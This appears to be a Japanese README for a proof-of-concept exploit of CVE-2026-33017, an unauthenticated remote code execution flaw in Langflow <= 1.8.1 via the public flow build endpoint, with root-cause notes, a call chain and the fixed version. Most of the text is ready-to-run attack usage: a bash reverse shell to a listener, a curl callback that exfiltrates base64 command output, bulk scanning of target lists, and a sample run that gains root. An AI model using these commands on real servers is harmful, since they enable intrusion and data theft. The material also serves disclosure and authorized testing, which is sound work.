
CVE-2026-33017 - Langflow <= 1.8.1 における Public Flow Build Endpoint 経由の未認証リモートコード実行
教育および許可されたテスト目的にのみ使用してください。
Langflow <= 1.8.1 は、攻撃者が制御する任意のコードを含むフローデータを受け入れる公開フロービルドエンドポイントを公開しています。このコードは validate.py 内の prepare_global_scope() に渡され、サンドボックスなしで exec() が呼び出されるため、認証なしでサーバープロセス権限によるリモートコード実行が可能になります。
| パッケージ | 影響を受けるバージョン | 修正版 |
|---|---|---|
pip langflow | <= 1.8.1 | 1.9.0 |
build_public_tmp エンドポイントは意図的に認証なしとなっています。保存された公開フローを誰でも実行できるように設計されているためです。問題は、このエンドポイントが攻撃者が制御するフロー定義を含むオプションの data パラメータも受け入れることです。その結果、認証されていないユーザーが任意のノードコードを送信でき、サーバーはそれを正当なフローグラフとして扱い、検証なしでコード実行ルーチンに直接渡します。
修正は単純です。data パラメータを削除し、エンドポイントが build_graph_from_db() のみを呼び出すようにすることで、公開フローは保存されたデータのみを実行し、攻撃者が供給したコードを実行しないようにします。
攻撃者のペイロードは、実行に到達するまでに次の呼び出しチェーンを経由します。
validate.py の prepare_global_scope() は、グラフのコンパイル中に(フローメソッドが呼び出される前に)ast.Assign ノードを処理します。そのため、注入されたコード内のトップレベルの代入は即座に実行されます。
_r = __import__('os').system("whoami") # runs at compile time, not at flow run time
出力は HTTP レスポンスではなく サーバーの標準出力 に送られます。外部への持ち出しには、アウトバウンドコールバック(リバースシェル、curl webhook)が必要です。
| エンドポイント | 認証 | 攻撃ベクトル |
|---|---|---|
POST /api/v1/build_public_tmp/{flow_id}/flow | なし | リモート / 認証なし |
| シナリオ | 要件 |
|---|---|
| A — AUTO_LOGIN 有効 | AUTO_LOGIN=true: JWT トークンを匿名で取得し、PUBLIC フローを作成して悪用する |
| B — 既知の公開フロー | 共有/公開フローの UUID が既知: 認証不要で直接悪用する |
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
重要: この PoC はモジュールレベルで
os.system()を使用します。コマンドはサーバー上で実行されますが、その出力は HTTP レスポンスには戻らず サーバーの標準出力 に送られます。PoC は実行が発生したこと([+] VULNERABLE)を確認するだけです。実際にコマンド出力を受け取るには、以下のいずれかの外部送信方法を使用してください。
ブラインド確認(出力を取得せずに RCE を検証)
python3 poc.py --url http://target:7860 --cmd "id"
リバースシェル — ローカルリスナーを使用
# 1. Start a listener on your machine
nc -lvnp 4444
# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
HTTP コールバックによる OOB 外部送信 — ローカルサーバーを使用
# 1. Start a local HTTP server
python3 -m http.server 8080
# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
既知の公開フロー UUID を使用(フロー作成不要)
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
ファイルからの一括スキャン
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
PoC は実行が発生したことを確認します。[+] VULNERABLE はビルドが成功し、注入されたコードが実行されたことを意味します。出力が取得されたことを意味するものではありません。
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
Targets : 1
Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
Threads : 5 | Timeout : 15s
============================================================
[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)
============================================================
SUMMARY
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 target(s) vulnerable
ローカル HTTP サーバーで受信した出力:
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
/api/v1/validate/code における同様の exec() 問題| Step | File | Detail |
|---|
| 1 | chat.py:580 | build_public_tmp はリクエストボディ内の攻撃者データを受け取る |
| 2 | build.py:81 | start_flow_build() は信頼できないペイロードを転送する |
| 3 | build.py:298 | build_graph_from_data() はそれをグラフ構築に渡す |
| 4 | base.py:1168 | Graph.from_payload() は攻撃者が供給したノード定義をデシリアライズする |
| 5 | base.py:1323 | ノードごとに instantiate_component() が呼び出される |
| 6 | loading.py:43 | カスタムコンポーネントのパラメータから code フィールドが抽出される |
| 7 | eval.py:9 | create_class() は生の攻撃者コードを受け取る |
| 8 | validate.py:397 | exec(compiled_code, exec_globals) — サンドボックスなし |
| フラグ | デフォルト | 説明 |
|---|
--url | — | 単一ターゲットの Langflow URL |
--url-file | — | 1行に1つのURLを記載したテキストファイル(一括スキャン) |
--cmd | id | ターゲット上で実行する OS コマンド |
--flow-id | — | 既存の公開フローの UUID(フロー作成をスキップ) |
--threads | 5 | 一括モードで使用する並列スレッド数 |
--timeout | 15 | HTTP リクエストのタイムアウト(秒) |
--no-cleanup | false | 悪用後に作成したフローを残す |